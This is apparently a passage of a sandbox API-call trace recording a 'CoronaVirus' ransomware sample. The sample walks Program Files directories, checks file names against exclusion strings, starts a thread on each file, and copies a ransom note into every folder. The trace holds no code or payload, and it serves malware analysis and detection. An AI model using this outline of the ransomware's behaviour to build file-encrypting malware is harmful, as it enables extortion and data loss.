	[0084.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbe9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0084.825] SetThreadPriority (hThread=0x690, nPriority=15) returned 1
	[0084.833] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.833] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0084.833] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.833] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.833] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", _SubStr="passw") returned 0x0
	[0084.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0084.834] SetThreadPriority (hThread=0x694, nPriority=15) returned 1
	[0084.842] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.842] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0084.842] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.842] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.842] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", _SubStr="passw") returned 0x0
	[0084.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0084.843] SetThreadPriority (hThread=0x698, nPriority=15) returned 1
	[0084.849] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.849] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0084.849] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.849] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.849] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", _SubStr="passw") returned 0x0
	[0084.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0084.851] SetThreadPriority (hThread=0x69c, nPriority=15) returned 1
	[0084.858] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.858] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0084.858] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.858] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.858] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", _SubStr="passw") returned 0x0
	[0084.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0084.858] SetThreadPriority (hThread=0x6a0, nPriority=15) returned 1
	[0084.860] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.866] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0084.866] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.866] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.866] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", _SubStr="passw") returned 0x0
	[0084.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0084.867] SetThreadPriority (hThread=0x6a4, nPriority=15) returned 1
	[0084.874] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.877] _alloca_probe () returned 0x4036d0
	[0084.877] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.877] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\CoronaVirus.txt") returned 58
	[0084.877] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.877] malloc (_Size=0x1000) returned 0x2fbe9f8
	[0084.877] _swprintf (in: param_1=0x2fbe9f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0084.878] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", _SubStr="CoronaVirus") returned 0x0
	[0084.878] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", _SubStr="wasse") returned 0x0
	[0084.878] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", _SubStr="passw") returned 0x0
	[0084.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbe9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
	[0084.878] SetThreadPriority (hThread=0x66c, nPriority=15) returned 1
	[0084.880] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.910] _alloca_probe () returned 0x4036d0
	[0084.910] malloc (_Size=0x1000) returned 0x2fbe9f8
	[0084.911] _swprintf (in: param_1=0x2fbe9f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\CoronaVirus.txt") returned 65
	[0084.911] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.911] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.915] _alloca_probe () returned 0x4036d0
	[0084.915] malloc (_Size=0x1000) returned 0x2fbfa00
	[0084.916] _swprintf (in: param_1=0x2fbfa00, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\CoronaVirus.txt") returned 63
	[0084.916] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.916] malloc (_Size=0x1000) returned 0x2fc0a08
	[0084.916] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0084.916] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", _SubStr="CoronaVirus") returned 0x0
	[0084.916] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", _SubStr="wasse") returned 0x0
	[0084.916] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", _SubStr="passw") returned 0x0
	[0084.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668
	[0084.917] SetThreadPriority (hThread=0x668, nPriority=15) returned 1
	[0084.925] malloc (_Size=0x1000) returned 0x2fc0a08
	[0084.925] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0084.926] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", _SubStr="CoronaVirus") returned 0x0
	[0084.926] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", _SubStr="wasse") returned 0x0
	[0084.926] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", _SubStr="passw") returned 0x0
	[0084.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0084.926] SetThreadPriority (hThread=0x6ac, nPriority=15) returned 1
	[0084.930] malloc (_Size=0x1000) returned 0x2fc1a10
	[0084.930] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0084.930] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", _SubStr="CoronaVirus") returned 0x0
	[0084.930] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", _SubStr="wasse") returned 0x0
	[0084.931] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", _SubStr="passw") returned 0x0
	[0084.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0084.951] SetThreadPriority (hThread=0x6a8, nPriority=15) returned 1
	[0084.959] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.987] _alloca_probe () returned 0x4036d0
	[0084.987] malloc (_Size=0x1000) returned 0x2fc2a18
	[0084.988] _swprintf (in: param_1=0x2fc2a18, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0084.988] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.988] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", _SubStr="wasse") returned 0x0
	[0084.988] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", _SubStr="passw") returned 0x0
	[0084.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc2a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0084.988] SetThreadPriority (hThread=0x500, nPriority=15) returned 1
	[0084.992] malloc (_Size=0x1000) returned 0x2fc3a20
	[0084.992] _swprintf (in: param_1=0x2fc3a20, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CoronaVirus.txt") returned 49
	[0084.992] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.992] malloc (_Size=0x1000) returned 0x2fc4a28
	[0085.000] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0085.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", _SubStr="CoronaVirus") returned 0x0
	[0085.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", _SubStr="wasse") returned 0x0
	[0085.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", _SubStr="passw") returned 0x0
	[0085.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0085.019] SetThreadPriority (hThread=0x6bc, nPriority=15) returned 1
	[0086.060] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\office16\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0086.433] _alloca_probe () returned 0x4036d0
	[0086.434] malloc (_Size=0x1000) returned 0x2fc2a18
	[0086.434] _swprintf (in: param_1=0x2fc2a18, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office16\\CoronaVirus.txt") returned 58
	[0086.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0086.434] malloc (_Size=0x1000) returned 0x2fc4a28
	[0086.434] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs") returned 51
	[0086.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs", _SubStr="CoronaVirus") returned 0x0
	[0086.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs", _SubStr="wasse") returned 0x0
	[0086.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs", _SubStr="passw") returned 0x0
	[0086.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0086.435] SetThreadPriority (hThread=0x4e8, nPriority=15) returned 1
	[0086.438] malloc (_Size=0x1000) returned 0x2fc5a30
	[0086.438] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml") returned 54
	[0086.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml", _SubStr="wasse") returned 0x0
	[0086.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml", _SubStr="passw") returned 0x0
	[0086.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0086.462] SetThreadPriority (hThread=0x6c4, nPriority=15) returned 1
	[0086.464] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0086.528] _alloca_probe () returned 0x4036d0
	[0086.530] malloc (_Size=0x1000) returned 0x2fc5a30
	[0086.530] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0086.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.530] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0086.531] SetThreadPriority (hThread=0x6c8, nPriority=15) returned 1
	[0086.537] malloc (_Size=0x1000) returned 0x2fc6a38
	[0086.543] _swprintf (in: param_1=0x2fc6a38, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0086.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc6a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0086.549] SetThreadPriority (hThread=0x6d4, nPriority=15) returned 1
	[0086.709] malloc (_Size=0x1000) returned 0x2fc7a40
	[0086.709] _swprintf (in: param_1=0x2fc7a40, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0086.709] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.709] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.709] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc7a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0086.710] SetThreadPriority (hThread=0x6dc, nPriority=15) returned 1
	[0086.715] malloc (_Size=0x1000) returned 0x2fc6a38
	[0086.742] _swprintf (in: param_1=0x2fc6a38, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0086.742] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.742] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.765] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc6a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0086.765] SetThreadPriority (hThread=0x6d0, nPriority=15) returned 1
	[0086.814] malloc (_Size=0x1000) returned 0x2fc8c68
	[0086.815] _swprintf (in: param_1=0x2fc8c68, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0086.815] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.815] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.815] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc8c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0086.815] SetThreadPriority (hThread=0x6e8, nPriority=15) returned 1
	[0086.817] malloc (_Size=0x1000) returned 0x2fc9e90
	[0086.818] _swprintf (in: param_1=0x2fc9e90, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0086.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc9e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0086.942] SetThreadPriority (hThread=0x6e4, nPriority=15) returned 1
	[0086.998] malloc (_Size=0x1000) returned 0x2fc6a38
	[0086.998] _swprintf (in: param_1=0x2fc6a38, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0086.998] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0086.998] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0086.998] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0086.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc6a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0087.205] SetThreadPriority (hThread=0x6ec, nPriority=15) returned 1
	[0087.211] malloc (_Size=0x1000) returned 0x2fc4a28
	[0087.211] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0087.217] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.217] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.217] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0087.261] SetThreadPriority (hThread=0x6b8, nPriority=15) returned 1
	[0087.282] malloc (_Size=0x1000) returned 0x2fc0a08
	[0087.282] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0087.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0087.283] SetThreadPriority (hThread=0x6cc, nPriority=15) returned 1
	[0087.286] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.286] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0087.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
